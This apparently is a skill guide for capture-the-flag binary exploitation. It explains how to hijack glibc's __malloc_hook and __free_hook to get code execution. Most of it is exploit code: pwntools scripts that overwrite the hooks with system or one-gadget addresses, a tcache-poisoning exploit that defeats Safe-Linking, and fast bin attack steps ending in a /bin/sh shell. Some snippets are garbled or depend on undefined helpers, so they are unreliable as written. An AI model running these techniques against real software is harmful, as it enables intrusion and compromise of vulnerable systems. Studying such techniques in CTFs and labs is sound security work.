Malloc/Free Hook Exploitation Guide
This skill helps you exploit __malloc_hook and __free_hook vulnerabilities in binary exploitation challenges. These are powerful primitives for achieving arbitrary code execution through heap corruption.
Quick Reference
| Hook | Triggered By | glibc Support |
|---|---|---|
__malloc_hook |
Any malloc() call |
≤ 2.33 |
__free_hook |
Any free() call |
≤ 2.33 |
__realloc_hook |
Any realloc() call |
≤ 2.33 |
__memalign_hook |
Any memalign() call |
≤ 2.33 |
⚠️ Critical: Hooks are disabled in glibc ≥ 2.34. Check the target's glibc version first!
Step 1: Check glibc Version
Before attempting hook exploitation, verify the target supports it:
# Check glibc version
ldd --version
# or
strings /lib/x86_64-linux-gnu/libc.so.6 | grep GLIBC_ | sort -V | tail -1
If glibc ≥ 2.34, hooks won't work. Pivot to alternatives like:
- IO-FILE structure hijacking
__run_exit_handlersoverwrites- vtable spraying
- Return-to-libc with other function pointers
Step 2: Locate Hook Addresses
With Symbols (Debug Build)
# In GEF/Pwndbg
gef➤ p &__malloc_hook
gef➤ p &__free_hook
Without Symbols
Use the find_hook_address.py script:
python3 scripts/find_hook_address.py /path/to/libc.so.6
Or manually in GDB:
# For __free_hook, break at free+25
gef➤ x/20i free
gef➤ break *free+25
gef➤ run
# $eax contains __free_hook address
Step 3: Choose Your Attack Vector
Option A: __malloc_hook Exploitation
When to use: You can trigger malloc() after overwriting the hook.
Prerequisites:
- Arbitrary write primitive (UAF, heap overflow, use-after-free)
- One Gadget or shellcode address
- Ability to trigger malloc (or use
printf("%10000$c")to force it)
Workflow:
- Overwrite
__malloc_hookwith a One Gadget address - Trigger
malloc()- the gadget executes - Get shell
Example:
from pwn import *
libc = ELF("libc.so.6")
p = process("./vuln")
# Get one gadget ret2ret=False)
# Overwrite __malloc_hook
malloc_hook = libc.sym['__malloc_hook']
write(malloc_hook, p64(one_gadget))
# Trigger malloc
p.sendline(b"malloc_trigger")
# Get shell
p.interactive()
Option B: __free_hook Exploitation
When to use: You can trigger free() after overwriting the hook.
Prerequisites:
- Heap corruption primitive (fast bin attack, tcache poisoning, unsorted bin attack)
systemfunction address- String
/bin/shin heap
Workflow:
- Overwrite
__free_hookwithsystemaddress - Place
/bin/shin a heap chunk - Free that chunk -
system("/bin/sh")executes
Example:
from pwn import *
libc = ELF("libc.so.6")
p = process("./vuln")
# Overwrite __free_hook with system
free_hook = libc.sym['__free_hook']
write(free_hook, p64(libc.sym['system']))
# Create chunk with /bin/sh
bin_sh = malloc(0x50)
edit(bin_sh, b"/bin/sh\x00")
# Free it to trigger
free(bin_sh)
p.interactive()
Step 4: Handle Safe-Linking (glibc 2.32-2.33)
glibc 2.32+ introduced Safe-Linking that obfuscates tcache forward pointers:
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
Consequences:
- Heap leak required - you need
chunk_addr >> 12to forge valid pointers - Full 8-byte overwrites only - partial writes fail the check
Tcache Poisoning with Safe-Linking:
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak heap address
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # Safe-Linking key
log.success(f"heap @ {hex(heap_base)}")
# 2. Double-free for tcache poisoning
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free
# 3. Forge obfuscated fd pointing to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison))
# 4. Two mallocs - second returns __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
p.interactive()
Step 5: Fast Bin Attack for __free_hook
When you need to place a chunk at __free_hook:
Find chunk size that fits near
__free_hook:gef➤ p &__free_hook $1 = 0x7ff1e9e607a8 gef➤ x/60gx 0x7ff1e9e607a8 - 0x59 # Look for 0x0000000000000200 (size 0x200)Create fast bin chunk of matching size:
# Create chunk of size 0xfc, merge twice = 0x1f8 chunk = malloc(0xfc) merge(chunk) # twicePoison fd to point to
__free_hooklocationAllocate to get chunk at
__free_hookOverwrite with
systemaddressFree a chunk containing
/bin/sh
Common Pitfalls
| Issue | Solution |
|---|---|
| glibc ≥ 2.34 | Use alternative primitives (IO-FILE, vtable) |
| Safe-Linking fails | Leak heap address, use chunk_addr >> 12 as XOR key |
| Partial overwrite fails | Safe-Linking requires full 8-byte pointer |
| Hook not triggering | Verify hook address is correct, check for ASLR |
| Segfault after overwrite | Ensure gadget/function address is valid |
Debugging Tips
# In GDB, watch hook values
gef➤ watch *(&__malloc_hook)
gef➤ watch *(&__free_hook)
# Check if hooks are enabled
gef➤ p __malloc_hook
gef➤ p __free_hook
# If they show 0x0, hooks are disabled
# Trace malloc/free calls
gef➤ break malloc
gef➤ break free
When Hooks Don't Work (glibc ≥ 2.34)
If hooks are disabled, try these alternatives:
- IO-FILE Hijacking: Overwrite FILE structure vtable
__run_exit_handlers: Overwrite exit handler function pointer- vtable Spraying: Overwrite C++ vtable entries
- Return-to-libc: Chain libc functions directly
- ROP: Build ROP chain to achieve code execution
See: https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md
Quick Start Script
Use scripts/exploit_template.py as a starting point:
python3 scripts/exploit_template.py --help
This generates a template with:
- glibc version check
- Hook address discovery
- Exploitation workflow
- Interactive shell
References
- GNU libc Hooks Documentation
- Safe-Linking Research (Check Point, 2020)
- Modern libc Exploitation
- One Gadget
Remember: Always verify glibc version before attempting hook exploitation. Modern systems (Ubuntu 22.04+, Fedora 35+, Debian 12) use glibc ≥ 2.34 where hooks are disabled.